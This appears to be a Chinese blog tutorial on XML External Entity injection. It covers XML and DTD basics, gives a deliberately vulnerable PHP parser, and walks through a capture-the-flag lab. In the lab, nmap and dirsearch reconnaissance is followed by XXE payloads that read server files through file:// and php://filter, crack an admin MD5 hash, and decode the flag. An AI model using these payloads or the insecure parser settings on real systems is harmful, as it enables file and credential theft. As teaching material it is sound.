当前位置:   article > 正文

XXE详解_xxe是什么

xxe是什么

1、什么是XXE

XXE(XML External Entity Injection)全称为XML外部实体注入,由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load默认情况下会解析外部实体,有XXE漏洞的标志性函数为simplexml_load_string()。

当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等危害。

2.XML介绍

XML是指可扩展标记语言,它是设计来弥补html的不足,以强大的扩展性满足网络信息的需要,用于网络数据的转换和描述。

XML构建模块

所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:

1.元素

元素是 XML 以及 HTML 文档的主要构建模块,元素可包含文本、其他元素或者是空的。

2.属性

属性可提供有关元素的额外信息

3.实体

实体是用来定义普通文本的变量。实体引用是对实体的引用。

4. PCDATA

PCDATA 的意思是被解析的字符数据(parsed character data)。PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。

5.CDATA

CDATA指的是不应由 XML 解析器进行解析的文本数据(unparesed Character Data)

在 XML 元素中,"<" (新元素的开始) 和 "&" (字符实体的开始)是非法的。

某些文本,如JavaScript代码,包含大量 "<" 或 "&" 字符。为例避免错误,可以将脚本代码定义为 CDATA。CDATA 部分在的所有内容都会被解析器忽略。CDATA 部分由 "<![CDATA["开始,由"]]>" 结束。

DTD

XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD (document type definition)的东西控制的。

DTD 用来为 XML 文档定义语义约束。可以嵌套在 XML 文档中(内部声明),也可以独立放在另一个单独的文件中(外部引用)。是 XML 文档的几条语句,用来说明哪些元素/属性是合法的,以及元素件应该怎么嵌套/组合,也用来将一些特殊字符和可复用代码段自定义为实体。

实体引用

XML元素,例如<tag>hello</tag>,如果元素内部出现如 < 的特殊字符,解析就会失败,为了避免这种情况,XML 用实体引用(entity reference) 替换特殊字符。XML 预定义五个实体引用。

预定义字符

转义后的预定义字符

<

<

>

>

&

&

'

'

"

"

实体引用可以起到类似宏定义和文件包含的效果,为例方便,我们会希望自定义实体引用,这个操作在 DTD 的过程中进行。

内部声明实体

DTD 实体是用于定义普通文本或特殊字符的快捷方式的变量,可以内部声明或外部声明。

内部实体声明:<!ENTITY 实体名称 "实体的值">

注:一个实体有三部分组成( 1.一个&,2.一个实体名称,3.一个;)

DTD的引用方式

内部DTD

使用内部的 DTD 文件,就是将规则定义在 XML 文件中。假如 DTD 被包含在您的 XML 源文件中,它应当包装在一个 DOCTYPE 声明中。

<!DOCTYPE 根元素 [元素声明]>

  1. <?xml version="1.0" encoding="UTF-8 ?> <!-- XML声明 -->
  2. <!DOCTYPE note[ <!-- 定义此文档是 note 类型 -->
  3. <!ELEMENT note (to,from,heading,body))> <!-- 定义to 元素为 PCDATA 类型-->
  4. <!ELEMENT to (#PCDATA))>
  5. <!ELEMENT from (#PCDATA))>
  6. <!ELEMENT heading (#PCDATA))>
  7. <!ELEMENT body (#PCDATA))>
  8. ]>
  9. <note>
  10. <to> George </to>
  11. <from> John </from>
  12. <heading> Reminder </heading>
  13. <body> Don't forget the meeting ! </body>
  14. </note>
外部DTD
  1. 引用外部的 DTD 文件:<!DOCTYPE 根元素名称 SYSTEM "DTD路径">
  2. 引用外部的 DTD 文件(网络上的 DTD 文件):<!DOCTYPE 根元素名称 PUBLIC "DTD文档的URL">
  3. 当使用外部 DTD 时,使用引入语法:<!DOCTYPE root-element SYSTEM "filename">

DTD元素

(1)声明一个元素

  1. (1)声明一个元素
  2. <!ELEMENT 元素名称 类别>
  3. 或者
  4. <!ELEMENT 元素名称 (元素内容)>
  5. (2)空元素
  6. <!ELEMENT 元素名称 EMPTY>
  7. (3)只有 PCDATA 的元素
  8. <!ELEMENT 元素名称 (#PCDATA)>
  9. (4)带有任何内容的元素
  10. <!ELEMENT 元素名称 ANY>
  11. (5)带有子元素的元素
  12. <!ELEMENT 元素名称 (子元素名称1,子元素名称2,.....)>
  13. (6)声明只出现一次的元素
  14. <!ELEMENT 元素名称 (子元素名称)>
  15. (7)声明最少出现一次的元素
  16. <!ELEMENT 元素名称 (子元素名称+)>
  17. (8)声明出现零次或多次的元素
  18. <!ELEMENT 元素名称 (子元素名称+)>
  19. (9)声明出现零次或多次的元素
  20. <!ELEMENT 元素名称 (子元素名称*)>
  21. (10)声明出现零次或一次的元素
  22. <!ELEMENT 元素名称 (子元素名称?)>
  23. (11)声明“非.../既...”类型的内容
  24. <!ELEMENT note (to,from,header,(message|body))>
  25. (12)声明混合型的内容
  26. <!ELEMENT note (#PCDATA|to|from|header|message)*>

DTD属性

(1)声明属性

  1. <!ATTLIST 元素名称 属性名称 属性类型 默认值>
  2. DTD 实例:
  3. <!ATTLIST payment type CDATA "check">
  4. XML 实例:
  5. <payment type="check" />

(2)列举属性值

  1. <!ATTLIST 元素名称 属性名称 (en1|en2|..) 默认值>
  2. DTD 例子:
  3. <!ATTLIST payment type (check|cash) "cash">
  4. XML 例子:
  5. <payment type="check" />
  6. 或者
  7. <payment type="cash" />

DTD实体

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。

实体引用是对实体的引用。

实体可在内部或外部进行声明。

(1)一个内部实体声明(类似变量)

假如 DTD 被包含在您的 XML 源文件中,它应当包装在一个 DOCTYPE 声明中。

<!DOCTYPE 根元素 [元素声明]>

  1. <!ENTITY 实体名称 "实体的值">
  2. 例子:
  3. DTD 例子:
  4. <!ENTITY writer "Bill Gates">
  5. <!ENTITY copyright "Copyright W3School.com.cn">
  6. XML 例子:
  7. <author>&writer;&copyright;</author>

注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。

(2)一个外部实体声明

<!ENTITY 实体名称 SYSTEM "URI/URL">

例子:

DTD 例子

  1. <!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
  2. <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
  3. XML 例子:
  4. <author>&writer;&copyright;</author>

DTD内部实体注入

下面是一个有内部注入的一个php文件

xml有三个重要函数,

  1. file_get_contents()#file_get_contents() 函数把整个文件读入一个字符串中。和 file() 一样,不同的是 file_get_contents() 把文件读入一个字符串。file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法。如果操作系统支持,还会使用内存映射技术来增强性能。
  2. php://input #php://input是一个可以访问请求的原始数据的只读流。结合file_get_contents(“php://input”)可以读取post提交的数据,不提交post数据则无输出。
  3. simplexml_load_string() #simplexml_load_string() 函数转换形式良好的 XML 字符串为 SimpleXMLElement 对象。
  1. <?php
  2. libxml_disable_entity_loader(false); //禁用实体加载器
  3. $xmlfile = file_get_contents('php://input');
  4. $dom = new DOMDocument();
  5. $dom->loadXML($xmlfile,LIBXML_NOENT | LIBXML_DTDLOAD); //导入字符长,生成XML对象
  6. $creds = simplexml_import_dom($dom); //simplexml_import_dom() 函数从 DOM 节点返回 SimpleXMLElement 对象。
  7. echo $creds;
  8. ?>

payload

  1. <?xml version="1.0" encoding="UTF-8" ?>
  2. <!DOCTYPE note[
  3. <!ENTITY write "good boy,this is a test"> ]>
  4. <note>
  5. &write;
  6. </note>

首先访问127.0.0.1/1.php(php文件位置)

报错不管,直接抓包,在post传参位置输入payload

DTD外部实体注入

还是上面的php文件

1.直接通过DTD外部实体声明

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE note [
  3. <!ENTITY write SYSTEM "file:///D:/phpstudy_pro/WWW/test.txt"> ]>
  4. <note>&write;</note>

2.通过DTD文档调用外部DTD文档,再引用外部实体声明

<!ENTITY write SYSTEM "file:///D:/phpstudy_pro/WWW/test.txt">

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE test SYSTEM "http://192.168.0.110/DTD.dtd">
  3. <test>&write;</test>

参考文章

3.某XXE靶场

1.靶场实战

打开靶场是这样一个界面

我们不知道密码,先用Kali获取同网段IP

  1. netdiscover -i eth0 -r 192.168.150.0/24
  2. #或者用nmap

用nmap去扫描192.168.150.143

namp -A -O 192.168.150.143

只有80端口,那就直接访问

信息太少,扫一下子目录

dirsearch -u http://192.168.150.143 

访问一下robots.txt,可能有信息泄露

然后我们又发现了两个敏感文件xxe和admin.php,都去访问一下。

xxe可以访问,是一个登录框,而admin.php访问不了,那就先在xxe随便·输入用户名密码,然后抓包

发现是xml格式,那我们先尝试在原有基础上添加DTD声明

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE note [
  3. <!ENTITY test SYSTEM "good boy">
  4. ]>
  5. <root><name>&test;</name><password>password</password></root>

发现有回显,然后尝试通过加密的方式去获取数据,这里我们尝试访问xxe.php

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE note [
  3. <!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
  4. ]>
  5. <root><name>&test;</name><password>password</password></root>

然后base64解密查看获取内容

既然可以通过XML去获取内容,那我们看看admin.php的内容

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE note [
  3. <!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
  4. ]>
  5. <root><name>&test;</name><password>password</password></root>

然后解码查看

然后直接复制出来,进行代码审计

然后发现用户名为administhebest,密码为MD5加密的e6e061838856bf47e1de730719fb2609。我们尝试解密

解密工具:MD5免费在线解密破解_MD5在线加密-SOMD5

所以密码为admin@123,然后尝试登录xxe,但是发现登录失败

然后我们可以再扫一下xxe这个目录下有什么呢

dirsearch -u http://192.168.150.143/xxe

那么结合刚刚我们获取的是admin.php的内容,看看admin.php,然后发现也是登录界面,尝试登录

结果点击flag链接又报错,不要慌,我么还是通过xxe页面下XXE漏洞,去尝试查看flagmeout.php

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE note [
  3. <!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=flagmeout.php">
  4. ]>
  5. <root><name>&test;</name><password>password</password></root>

然后base64解密,获取JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5,感觉也像加密,我们再进行解密,他的加密方式是base32 (一般MD5加密是32位,base64加密末尾都有等于号,没有等于号的可能是base32加密,严格意义上说是编码),将其解码看一下

BASE32编码解码 - Bugku CTF

先解码,然后解出来又像base64编码,又解码

Base64 编码/解码 - 在线工具

然后出来路径/etc/.flag.php,又去xxe下去访问

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE note [
  3. <!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
  4. ]>
  5. <root><name>&test;</name><password>password</password></root>

解码

$_[]++;$_[]=$_._;$_____=$_[(++$__[])][(++$__[])+(++$__[])+(++$__[])];$_=$_[$_[+_]];$___=$__=$_[++$__[]];$____=$_=$_[+_];$_++;$_++;$_++;$_=$____.++$___.$___.++$_.$__.++$___;$__=$_;$_=$_____;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=+_;$___.=$__;$___=++$_^$___[+_];=+_;=========++[];++;++;++;++;++;++;++;++;++;++;++;++;++;++;++;++;++;++;++;++;++;++;++;++;++;++;++;++;++;++;++;++;++;++;++;$__('$_="'.$___....$___....$___....$___....$___....$___....$___....$___....$___....$___....$___....$___....$___....$___....$___....$___....$___....$___....$___....$___....$___....$___....'"');$__($_);

直接把他保存成php文件,然后用浏览器打开

获取flag: SAFCSP{xxe_is_so_easy}

2.过滤数据流

  1. php:// 用来访问输入和输出流(I/O streams)。输入/输出流也就是「数据流」,数据流可以是某个文件(xx.php)或某个url(百度一下,你就知道)。
  2. php://filter 可以在访问数据流之前进行「过滤」,并指定过滤方式。

php://filter 有4个可用参数:

名称

描述

resource=<要过滤的数据流>

这个参数是必须的。它指定了你要筛选过滤的数据流。

read=<读链的筛选列表>

该参数可选。可以设定一个或多个过滤器名称

write=<写链的筛选列表> 该参数可选。

可以设定一个或多个过滤器名称

<;两个链的筛选列表>

任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

提示:read/write参数不是必须的,可以直接使用过滤器,比如 php://filter/convert.base64-encode/resource=hello.php

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/笔触狂放9/article/detail/590037
推荐阅读
相关标签
  

闽ICP备14008679号